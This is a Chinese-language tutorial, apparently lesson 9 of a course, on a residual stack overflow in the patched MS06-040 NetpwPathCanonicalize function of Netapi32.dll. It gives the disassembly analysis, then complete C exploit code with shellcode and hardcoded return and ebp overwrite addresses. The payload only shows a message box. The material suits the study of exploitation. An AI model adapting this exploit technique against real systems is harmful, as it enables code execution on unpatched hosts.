前言

经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用。在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否定的。即便是打了补丁,虽说我们之前所分析的漏洞已被补上,但是这个程序中依旧存在着其它的问题。

对漏洞函数进行静态分析

我们之前所研究的Netapi32.dll的大小为309,008 字节,补丁后的文件大小为309,760 字节。我们用IDA Pro载入打过补丁后的DLL文件,找到之前出现问题的函数位置进行分析:

图1

补丁前的程序之所以会出现问题,就是因为程序并未对第二个参数的长度做出足够的限定。补丁前的程序在以宽字符的形式计算出第二个参数的长度之后,是与0x411进行比较的,也就是说,只要第二个参数的长度不大于0x822个字节就可以。但是在补丁后的程序中,如上图所示,在位于0x71BA42BC中的比较语句,是将第二个参数(Source)与0x207相比较,也就是说,此时第二个参数的大小不能够超过0x414个字节,而栈空间分配的就是0x414个字节,因此不会出现溢出的情况。所以如果想实现漏洞的利用,还需要进一步深入挖掘才可以。对此,我们可以从这个函数最开始的部分进行分析:

图2

程序在分配了0x414字节的空间之后,利用异或运算将esi中的内容清空,然后将[ebp+arg_0]与esi也就是0进行比较,其实这也就是在判定,指向第一个字符串的指针是否为空。如果为空,那么接下来的条件跳转不成立,程序就会来到0x71BA42AE的位置执行。如果指向第一个字符串的指针不为空,但是指向的却是空的字符串,见下图:

图3

这里对第一个字符串的长度进行测定,如果字符串内容为空,也就是长度为0,那么接下来的跳转成立,程序会直接来到0x71BA42B5的位置执行:

图4

程序在这里会将未初始化的缓冲区以及第二个参数(Source)利用wcscat函数进行连接。其实这是一个非常不安全的操作,因为尚未初始化的栈空间的长度是未知的,甚至可能超过起初分配的0x414个字节,然后再与参数二进行连接,就会有缓冲区溢出的隐患。

这里有一个问题需要说明的是,为什么第一个参数指向的字符串拷贝到缓冲区就不会有这个问题,而第二个参数复制进缓冲区就会有隐患呢?这是因为第一个参数字符串使用的是“wcscpy”进行拷贝的,它会将字符串从缓冲区的起始位置进行拷贝。而第二个参数使用的是wcscat,它会检查缓冲区中的“\0”也就是字符串的尾部位置,然后将新的字符串拷贝到“\0”的位置,最后再加上“\0”作为结尾。

那么现在的问题就是应该如何控制缓冲区的内容和大小。一个简单的做法就是连续调用两次CanonicalizePathName()函数。当第一次调用该函数时,缓冲区第一次被填充并进行字符串连接的操作,当第一次调用结束的时候,恢复栈帧,释放缓冲区空间,此时只要不做任何的栈空间操作(比如函数调用),那么原始缓冲区中的内容是不会改变的。而第二次调用时,还会继续对这块缓冲区进行操作,那么此时就会还保留有第一次调用时的数据,于是就存在着溢出的风险。

函数CanonicalizePathName()是不能够被直接调用的,因为它是NetpwPathCanonicalize()的子函数。所以这里可以回到NetpwPathCanonicalize()中来看一下二者之间的调用方式:

图5

由上图可见,当CanonicalizePathName()调用完毕后,程序会对其返回值(保存在eax中)进行判断,也就是与edi相比较,而edi在这里是恒为0的,那么这里也就是在验证其返回值是否为0。如果不为0,那么就会跳到0x71BA4284处执行,也就是函数退出的位置。如果为0,那么接下来还会有其它的函数调用。刚才说了,只要没有其它的函数调用,那么缓冲区的内容就不会被更改,也就是说,我们这里希望CanonicalizePathName()的返回值不为0,让程序接下来直接退出,以保证缓冲区中的内容不被更改。那么该如何让它的返回值不为0呢,我们可以看一下该函数最后一部分的反汇编代码:

图6

在上图中,位于0x71BA431E处的wcslen用于计算合并后的路径字符串的长度,注意这个长度是Unicode的,因此下面的eax+eax+2实际上也就是在计算合并后的字符串一共有多少个字节,这里加上2是因为还需加上末尾的两个空字节。接下来利用比较语句,将字节长度与arg_C相比较。注意这里的arg_C是用于保存连接后的字符串的缓冲区空间的大小。如果相比较的结果是缓冲区空间大,那么就会执行左边的流程,进行字符串的拷贝操作,并将eax置零后返回。如果缓冲区的空间小,那么执行右边的流程,于是eax的值就不为0了。依据这一点,我们在第一次调用的时候,可以将缓冲区空间的大小,也就是arg_C的值设置小一点,就能够让它返回非零值了。

漏洞利用程序的编写

依据上面的分析,就可以进行漏洞利用程序框架的编写:

  1. #include <windows.h>
  2. typedef void (*MYPROC)(LPTSTR,...);
  3. #define StrCat_SIZE_1      0x184
  4. #define StrCat_SIZE_2      0x2C0
  5. #define lpWideCharStr_SIZE 0x440
  6. #define StrCpy_SIZE        0x410
  7. int main()
  8. {
  9. char Source_1[StrCat_SIZE_1];
  10. char Source_2[StrCat_SIZE_2];
  11. char lpWideCharStr[lpWideCharStr_SIZE];
  12. int  arg_8 = lpWideCharStr_SIZE;
  13. char arg_C_1[StrCpy_SIZE];
  14. char arg_C_2[StrCpy_SIZE];
  15. long arg_10_1 = 44;
  16. long arg_10_2 = 44;
  17. HINSTANCE LibHandle;
  18. MYPROC    Func;
  19. char DllName[] = "./netapi32.dll";
  20. char FuncName[] = "NetpwPathCanonicalize";
  21. // 将当前目录中的netapi32.dll载入内存
  22. LibHandle = LoadLibrary(DllName);
  23. if (LibHandle == 0)
  24. {
  25. MessageBox(0, "Can't Load DLL!", "Warning", 0);
  26. return 0;
  27. }
  28. // 获取NetpwPathCanonicalize()函数的地址
  29. Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
  30. if(Func == 0)
  31. {
  32. MessageBox(0, "Can't Load Function!", "Warning", 0);
  33. FreeLibrary(LibHandle);
  34. return 0;
  35. }
  36. // 用字符a填充第一次函数调用时,wcscat连接的内容
  37. memset(Source_1, 0, sizeof(Source_1));
  38. memset(Source_1, 'a', sizeof(Source_1)-2);
  39. // 用字符b填充第二次函数调用时,wcscat连接的内容
  40. memset(Source_2, 0, sizeof(Source_2));
  41. memset(Source_2, 'b', sizeof(Source_2)-2);
  42. // 用0填充两次函数调用中,wcscpy复制的内容
  43. memset(arg_C_1, 0, sizeof(arg_C_1));
  44. memset(arg_C_2, 0, sizeof(arg_C_2));
  45. // 连续调用两次NetpwPathCanonicalize()函数
  46. (Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &arg_10_1, 0);
  47. (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);
  48. FreeLibrary(LibHandle);
  49. return 0;
  50. }

需要将netapi32.dll与上述工程文件放置在同一目录,编译生成Release版,运行,系统会提示出错:


图7

可见这里出现了缓冲区溢出的错误,溢出地址为0x62626262,也就是小写字母“b”。那么我们只要让这个返回地址跳转到我们所编写的ShellCode的位置就可以了。由于当函数返回时,ecx不会指向栈顶空间,因此我们这次就不能够使用call ecx了。所以这里我打算将ebp的值覆盖为栈顶地址,然后将返回地址覆盖为jmp ebp,再将ShellCode植入栈顶,从而实现漏洞的利用:

  1. #include <windows.h>
  2. typedef void (*MYPROC)(LPTSTR,...);
  3. #define StrCat_SIZE_1      0x184
  4. #define StrCat_SIZE_2      0x2C0
  5. #define lpWideCharStr_SIZE 0x440
  6. #define StrCpy_SIZE        0x410
  7. char ShellCode[] =
  8. "\x90\x90\x90"
  9. "\x33\xDB"                          // xor ebx,ebx
  10. "\xB7\x06"                          // mov bh,6
  11. "\x2B\xE3"                          // sub esp,ebx
  12. "\x33\xDB"                          // xor ebx,ebx
  13. "\x53"                              // push ebx
  14. "\x68\x69\x6E\x67\x20"
  15. "\x68\x57\x61\x72\x6E"              // push "Warning"
  16. "\x8B\xC4"                          // mov eax,esp
  17. "\x53"                              // push ebx
  18. "\x68\x2E\x29\x20\x20"
  19. "\x68\x20\x4A\x2E\x59"
  20. "\x68\x21\x28\x62\x79"
  21. "\x68\x63\x6B\x65\x64"
  22. "\x68\x6E\x20\x68\x61"
  23. "\x68\x20\x62\x65\x65"
  24. "\x68\x68\x61\x76\x65"
  25. "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"
  26. "\x8B\xCC"                           // mov ecx,esp
  27. "\x53"                               // push ebx
  28. "\x50"                               // push eax
  29. "\x51"                               // push ecx
  30. "\x53"                               // push ebx
  31. "\xB8\xea\x07\xd5\x77"
  32. "\xFF\xD0"                           // call MessageBox
  33. "\x53"
  34. "\xB8\xFA\xCA\x81\x7C"
  35. "\xFF\xD0" ;                         // call ExitProcess
  36. int main()
  37. {
  38. char Source_1[StrCat_SIZE_1];
  39. char Source_2[StrCat_SIZE_2];
  40. char lpWideCharStr[lpWideCharStr_SIZE];
  41. int  arg_8 = lpWideCharStr_SIZE;
  42. char arg_C_1[StrCpy_SIZE];
  43. char arg_C_2[StrCpy_SIZE];
  44. long arg_10_1 = 44;
  45. long arg_10_2 = 44;
  46. HINSTANCE LibHandle;
  47. MYPROC    Func;
  48. char DllName[] = "./netapi32.dll";
  49. char FuncName[] = "NetpwPathCanonicalize";
  50. // 将当前目录中的netapi32.dll载入内存
  51. LibHandle = LoadLibrary(DllName);
  52. if (LibHandle == 0)
  53. {
  54. MessageBox(0, "Can't Load DLL!", "Warning", 0);
  55. return 0;
  56. }
  57. // 获取NetpwPathCanonicalize()函数的地址
  58. Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
  59. if(Func == 0)
  60. {
  61. MessageBox(0, "Can't Load Function!", "Warning", 0);
  62. FreeLibrary(LibHandle);
  63. return 0;
  64. }
  65. // 用字符a填充第一次函数调用时,wcscat连接的内容
  66. memset(Source_1, 0, sizeof(Source_1));
  67. memset(Source_1, 'a', sizeof(Source_1)-2);
  68. // 将ShellCode拷贝到缓冲区中
  69. memcpy(Source_1, ShellCode, sizeof(ShellCode));
  70. // 将ShellCode后面的0x00填充为0x90
  71. Source_1[sizeof(ShellCode)-1] = 0x90;
  72. // 用字符b填充第二次函数调用时,wcscat连接的内容
  73. memset(Source_2, 0, sizeof(Source_2));
  74. memset(Source_2, 'b', sizeof(Source_2)-2);
  75. // 将ebp覆盖为栈顶地址
  76. Source_2[0x2AA] = 0x44;
  77. Source_2[0x2AB] = 0xea;
  78. Source_2[0x2AC] = 0x12;
  79. Source_2[0x2AD] = 0x00;
  80. // 将返回地址覆盖为jmp ebp
  81. Source_2[0x2AE] = 0x98;
  82. Source_2[0x2AF] = 0xd4;
  83. Source_2[0x2B0] = 0xbb;
  84. Source_2[0x2B1] = 0x71;
  85. // 用0填充两次函数调用中,wcscpy复制的内容
  86. memset(arg_C_1, 0, sizeof(arg_C_1));
  87. memset(arg_C_2, 0, sizeof(arg_C_2));
  88. // 连续调用两次NetpwPathCanonicalize()函数
  89. (Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &arg_10_1, 0);
  90. (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);
  91. FreeLibrary(LibHandle);
  92. return 0;
  93. }

当然我相信大家经过自己的研究,会有更加优秀的漏洞利用方式,也希望我的代码能够起到抛砖引玉的效果。

小结

至此,我已经利用了三次课程的篇幅比较全面地分析了MS06-040这个漏洞,也希望大家能够以此为起点,多多尝试与交流,成为漏洞挖掘方面的专家。

缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘的更多相关文章

  1. 缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试

    前言 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用. 编写漏洞利用程序的框架 这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32 ...

  2. 缓冲区溢出分析第07课:MS06-040漏洞研究——静态分析

    前言 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情况就 ...

  3. 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析

    漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀&q ...

  4. 缓冲区溢出分析第10课:Winamp缓冲区溢出研究

    前言 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世.与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的. ...

  5. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

  6. 缓冲区溢出分析第04课:ShellCode的编写

    前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写S ...

  7. W32Dasm缓冲区溢出分析【转载】

    课程简介 在上次课程中与大家一起学习了编写通用的Shellcode,也提到会用一个实例来展示Shellcode的溢出. 那么本次课程中为大家准备了W32Dasm这款软件,并且是存在漏洞的版本.利用它的 ...

  8. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  9. CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析

    漏洞简述   Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件.        Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...

随机推荐

  1. SpringMVC-03 RestFul和控制器

    SpringMVC-03 RestFul和控制器 控制器Controller 控制器复杂提供访问应用程序的行为,通常通过接口定义或注解定义两种方法实现. 控制器负责解析用户的请求并将其转换为一个模型. ...

  2. 关于PHP的isset()函数

      1 <!DOCTYPE html> 2 <html> 3 <head> 4 <title></title> 5 <meta cha ...

  3. 解决新版谷歌浏览器在http请求下无法开启麦克风问题

    1.在浏览器地址栏中输入"chrome://flags/#unsafely-treat-insecure-origin-as-secure", 2.将该选项置为Enabled, 3 ...

  4. python爬取考研专业信息

    伴随着2021考研成绩的公布,2021考研国家线也即将到来.大家是否有过考研的想法了?如果想考研我们就需要了解很多的信息,但是百度的上有太多信息需要我们去一一的鉴别,是比较浪费时间的.所以我们可以学习 ...

  5. 【python+selenium的web自动化】- 针对上传操作的实现方案

    如果想从头学起selenium,可以去看看这个系列的文章哦! https://www.cnblogs.com/miki-peng/category/1942527.html 关于上传操作 ​ 上传有两 ...

  6. 写了一个 gorm 乐观锁插件

    前言 最近在用 Go 写业务的时碰到了并发更新数据的场景,由于该业务并发度不高,只是为了防止出现并发时数据异常. 所以自然就想到了乐观锁的解决方案. 实现 乐观锁的实现比较简单,相信大部分有数据库使用 ...

  7. LayUi表单模块无法正常显示

    问题: 当我们再使用LayUI的Form表单模块时,我们会把自己需要的表单赋值到我们的页面中,但是会出现无法正常显示的问题,如下: 出现原因: LayUI官方文档也明确表示:"当你使用表单时 ...

  8. 攻防世界 reverse babymips

    babymips   XCTF 4th-QCTF-2018 mips,ida中想要反编译的化需要安装插件,这题并不复杂直接看mips汇编也没什么难度,这里我用了ghidra,直接可以查看反编译. 1 ...

  9. 在ASP.NET Core中用HttpClient(五)——通过CancellationToken取消HTTP请求

    ​用户向服务器发送HTTP请求应用程序页面是一种非常可能的情况.当我们的应用程序处理请求时,用户可以从该页面离开.在这种情况下,我们希望取消HTTP请求,因为响应对该用户不再重要.当然,这只是实际应用 ...

  10. SQL注入靶场实战-小白入门

    目录 SQL注入 数字型 1.测试有无测试点 2.order by 语句判断字段长,查出字段为3 3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3) 4.猜数据库名,用户 ...